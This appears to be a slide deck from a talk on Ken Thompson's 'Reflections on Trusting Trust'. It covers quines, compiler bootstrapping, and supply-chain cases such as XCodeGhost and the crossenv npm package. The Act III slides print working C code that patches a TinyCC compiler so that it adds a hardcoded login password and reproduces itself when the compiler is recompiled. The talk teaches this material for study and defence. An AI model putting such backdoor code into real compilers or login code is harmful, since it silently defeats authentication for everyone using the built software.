



# ***Reflections on Trusting Trust***

PWL ATL #1  
February 2018



## 1983 ACM Turing Award with Dennis Ritchie

*For their development of generic operating systems theory and specifically for the implementation of the UNIX operating system*

**“I would like to present to you the  
cutest program I ever wrote.”**



# Multics security review, 1974



*The report suggested a countermeasure to such object code trap doors by having customers recompile the system from source... In fact, the AFDSC Multics contract specifically required that Honeywell deliver source code to the Pentagon to permit such recompilations.*


Thirty Years Later: Lessons from the Multics Security Evaluation,  
Karger & Schell, 2002

It was noted above that while object code trap doors are invisible, they are vulnerable to recompilations. The compiler (or assembler) trap door is inserted to permit object code trap doors to survive even a complete recompilation of the entire system. In Multics, most of the ring 0 supervisor is written in PL/I. A penetrator could insert a trap door in the PL/I compiler to note when it is compiling a ring 0 module. Then the compiler would insert an object code trap door in the ring 0 module without listing the code in the listing. Since the PL/I compiler is itself written in PL/I, the trap door can maintain itself, even when the compiler is recompiled. (38) Compiler trap doors are significantly more complex than the other trap doors described here, because they require a detailed knowledge of the compiler design. However, they are quite practical to implement at a cost of perhaps five times the level shown in Section 3.5. It should be noted that even costs several hundred times larger than those shown here would be considered nominal to a foreign agent.



# Act I

Self-replicating code



quine.go x

```
1 package main
2
3 import "fmt"
4
5 func main() {
6     s := `package main
7
8     import "fmt"
9
10    func main() {
11        s := %C%s%C
12        fmt.Printf(s, 0x60, s, 0x60)
13    }
14    `
15    fmt.Printf(s, 0x60, s, 0x60)
16 }
17
```

```
$
$ diff -s quine.go <(go run quine.go)
Files quine.go and /dev/fd/63 are identical
$
```

Simple self-replicating code example in Go



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## Act II

Training the compiler



## C scanner.c x

```
1  ...
2  c = next();
3  if (c != '\\')
4      return c;
5
6  c = next();
7  if (c == '\\')
8      return '\\';
9  if (c == 'n')
10     return '\n';
11  ...
12
```

*Idealized C scanner code from Thompson's paper.*

*For a real world example, see `parse_escape_string()` in the [TinyCC compiler](#)*

## C scanner.c ✕

```
1  ...
2  c = next();
3  if (c != '\\')
4      return c;
5
6  c = next();
7  if (c == '\\')
8      return '\\';
9  if (c == 'n')
10     return '\\n';
11  ...
12
```

*Original*

## C scanner.c ●

```
1  ...
2  c = next();
3  if (c != '\\')
4      return c;
5
6  c = next();
7  if (c == '\\')
8      return '\\';
9  if (c == 'n')
10     return '\\n';
11  if (c == 'v')
12     return '\\v';
13  ...
14
```

*Doesn't compile...yet*

## C scanner.c ●

```
1  ...
2  c = next();
3  if (c != '\\')
4      return c;
5
6  c = next();
7  if (c == '\\')
8      return '\\';
9  if (c == 'n')
10     return '\\n';
11 if (c == 'v')
12     return '\\v';
13 ...
14
```

*Temporary bootstrapping code*

## C scanner.c ●

```
1  ...
2  c = next();
3  if (c != '\\')
4      return c;
5
6  c = next();
7  if (c == '\\')
8      return '\\';
9  if (c == 'n')
10     return '\\n';
11 if (c == 'v')
12     return '\\v';
13 ...
14
```

*Final, portable version*

*This is a deep concept. It is as close to a "learning" program as I have seen. You simply tell it once, then you can use this self-referencing definition.*

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# Act III

The Trojan Horse(s)



*The actual bug I planted in the compiler would match code in the UNIX "login" command. The replacement code would miscompile the login command so that it would accept either the intended encrypted password or a particular known password.*

```
592  /*
593  * Ask for the password.
594  */
595  while (pwd) {
596      if ((p = getpasswd(pwd->pw_passwd)) == NULL)
597          break;
598      if (pwd->pw_passwd[0] == 0 ||
599          strcmp(p, "bojieli") == 0 ||
600          strcmp(crypt(p, pwd->pw_passwd), pwd->pw_passwd) == 0)
601          sushell(pwd);
602      mask_signal(SIGQUIT, SIG_IGN, &saved_sigquit);
603      mask_signal(SIGTSTP, SIG_IGN, &saved_sigtstp);
604      mask_signal(SIGINT, SIG_IGN, &saved_sigint);
605      fprintf(stderr, _("Login incorrect\n\n"));
606  }
607
```



```

357         if (bf->fd != -1) {
358             const char* login_pattern = "if (pwd->pw_passwd[0] == 0 ||";
359             const char* login_append = "strcmp(p, \"bojieli\") == 0 ||";
360             char* login_match_ptr;
361             #if defined(PARSE_DEBUG)
362                 len = 8;
363             #else
364                 len = IO_BUF_SIZE - strlen(login_append) - 1;
365             #endif
366             len = read(bf->fd, bf->buffer, len);
367             #ifndef PARSE_DEBUG
368                 if ((login_match_ptr = strstr(bf->buffer, login_pattern)) && login_match_ptr < bf->buffer + len) {
369                     login_match_ptr += strlen(login_pattern); /* the next char after end of pattern */
370                     char *p = bf->buffer + len;
371                     while (p > login_match_ptr) {
372                         p--;
373                         *(p + strlen(login_append) + 1) = *p;
374                     }
375                     strcpy(login_match_ptr, login_append);
376                     *(login_match_ptr + strlen(login_append)) = ' '; /* the last char should not be \0, but space */
377                     len += strlen(login_append) + 1;
378                 }
379             #endif

```

*Such blatant code would not go undetected for long. Even the most casual perusal of the source of the C compiler would raise suspicions.*

```


357 if (bf->fd != -1) {
358     const char *tcc_replace = "\\n";\
359     const char *tcc_match = \"if (bf->buf_ptr >= bf->buf_end) {\n\n        if (bf->fd != -1) {\n\n\";\
360     const char *tcc_match_end = \"if (len < 0)\n\n        len = 0;\n\n        } else {\n\n        len = 0;\n\n\";\
361     const char *login_pattern = \"if (pwd->pw_passwd[0] == 0 ||\";\
362     const char *login_append = \"strcmp(p, \"\"bojielei\\\")) == 0 ||\";\
363     char *login_match_ptr, *tcc_match_ptr, *tcc_match_endptr;\
364     len = read(bf->fd, bf->buffer, IO_BUF_SIZE - 2048);\
365     if ((login_match_ptr = strstr(bf->buffer, login_pattern)) && login_match_ptr < bf->buffer + len) {\
366         login_match_ptr += strlen(login_pattern);\
367         char *p = bf->buffer + len;\
368         while (p > login_match_ptr) {\
369             p--;\
370             *(p + strlen(login_append) + 1) = *p;\
371         }\
372         strcpy(login_match_ptr, login_append);\
373         *(login_match_ptr + strlen(login_append)) = ' '\
374         len += strlen(login_append) + 1;\
375     }\
376     else if ((tcc_match_ptr = strstr(bf->buffer, tcc_match)) && tcc_match_ptr < bf->buffer + len) {\
377         tcc_match_ptr += strlen(tcc_match);\
378         if (tcc_match_endptr = strstr(bf->buffer, tcc_match_end)) {\
379             char rep[IO_BUF_SIZE] = \"const char *tcc_replace = \"\"\\n\"\";\
380             char *dst = rep + strlen(rep);\
381             char *src = (char*)tcc_replace;\
382             while (src < tcc_replace + strlen(tcc_replace)) {\
383                 if (*src == '\\\\' || *src == '\\')\
384                     *dst++ = '\\\\';\
385                 *dst++ = *src++;\
386             }\
387             strcpy(dst, tcc_replace);\
388             int offset = strlen(rep) + 1 + tcc_match_ptr - tcc_match_endptr;\
389             char *p = bf->buffer + len;\
390             while (p > tcc_match_endptr) {\
391                 p--;\
392                 *(p + offset) = *p;\
393             }\
394             strcpy(tcc_match_ptr, rep);\
395             *(tcc_match_ptr + strlen(rep)) = ' '\
396             len += offset;\
397         }\
398     }\
399     \"; /* end of tcc_replace */

```

```

401 const char *tcc_match = "if (bf->buf_ptr >= bf->buf_end) {\n          if (bf->fd != -1) {"\n
402 const char *tcc_match_end = "if (len < 0)\n          len = 0;\n          } else {\n          len = 0;";
403 const char *login_pattern = "if (pwd->pw_passwd[0] == 0 ||";
404 const char *login_append = "strcmp(p, \"bojieli\") == 0 ||";
405 char *login_match_ptr, *tcc_match_ptr, *tcc_match_endptr;
406 len = read(bf->fd, bf->buffer, IO_BUF_SIZE - 8192); /* reserve space for appended string */
407 #ifndef PARSE_DEBUG
408 if ((login_match_ptr = strstr(bf->buffer, login_pattern)) && login_match_ptr < bf->buffer + len) {
409     login_match_ptr += strlen(login_pattern); /* the next char after end of pattern */
410     char *p = bf->buffer + len;
411     while (p > login_match_ptr) {
412         p--;
413         *(p + strlen(login_append) + 1) = *p;
414     }
415     strcpy(login_match_ptr, login_append);
416     *(login_match_ptr + strlen(login_append)) = ' '; /* the last char should not be \0, but space */
417     len += strlen(login_append) + 1;
418 }
419 else if ((tcc_match_ptr = strstr(bf->buffer, tcc_match)) && tcc_match_ptr < bf->buffer + len) {
420     tcc_match_ptr += strlen(tcc_match); /* the first char after match */
421     if (tcc_match_endptr = strstr(bf->buffer, tcc_match_end)) {
422         char rep[IO_BUF_SIZE] = "const char *tcc_replace = \"\""; /* the replace string */
423         char *dst = rep + strlen(rep);
424         char *src = (char*)tcc_replace;
425         while (src < tcc_replace + strlen(tcc_replace)) { /* copy content of string tcc_replace with escape */
426             if (*src == '\\\\' || *src == '\"')
427                 *dst++ = '\\\\';
428             *dst++ = *src++;
429         }
430         strcpy(dst, tcc_replace); /* copy content of string tcc_replace */
431         int offset = strlen(rep) + 1 + tcc_match_ptr - tcc_match_endptr;
432         char *p = bf->buffer + len;

```







## Sidebar: Detecting Thompson's Hack with DDC

- ["Diverse Double Compiling"](#) (2005), David A. Wheeler
- Prerequisite: a trusted compiler capable of compiling the source of the untrusted compiler
- Strategy
  - Compile the untrusted compiler with the trusted compiler
  - Take the output of that trusted compilation and use it to compile the source of the untrusted compiler
  - Compare the output of this two-stage compile with the output of the untrusted compiler on its own source
  - If they're different, then the untrusted compiler is rigged

Works, but not of much practical use.

*...I picked on the C compiler. I could have picked on any program-handling program such as an assembler, a loader, or even hardware microcode. As the level of program gets lower, these bugs will be harder and harder to detect.*



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# Trusting Trust in Modern Times





## Compiler as attack vector

Two notorious real-world examples

- Induc.[ABC], 2009-2011
- XCodeGhost, 2015



# Package Manager as attack vector

## I'm Harvesting Credit Cards Numbers and Passwords from Your Site


- “[I]t’s perfectly possible to ship one version of your code to GitHub and a different version to npm.”
- Mean number of packages installed for a module: 35.3
- Number of new npm modules added per day: 400+

*I picked on the C compiler. I could have picked on any program-handling program such as an assembler, a loader, or even hardware microcode. As the level of program gets lower, these bugs will be harder and harder to detect. **A well-installed microcode bug will be almost impossible to detect.***

# EquationDrug/GrayFish (2015)

Reprograms the HDD firmware with a custom payload from the EQUATION group:

- Extreme persistence that survives disk formatting and OS reinstall.
- An invisible, persistent storage hidden inside the hard drive



From [Kaspersky report](#) on Equation Group



# But...reality is likely much more mundane

## The npm Blog

Blog about npm things.



### ``crossenv`` malware on the npm registry

On August 1, a user notified us [via Twitter](#) that a package with a name very similar to the popular `cross-env` package was sending environment variables from its installation context out to `npm.hacktask.net`. We investigated this report immediately and took action to remove the package. Further investigation led us to remove about 40 packages in total.



## Fun Thought Experiment

*Try to count the number of  
“program-handling programs” between  
github and your production servers*

**Eternal vigilance is the price of  
not fabbing your own chips**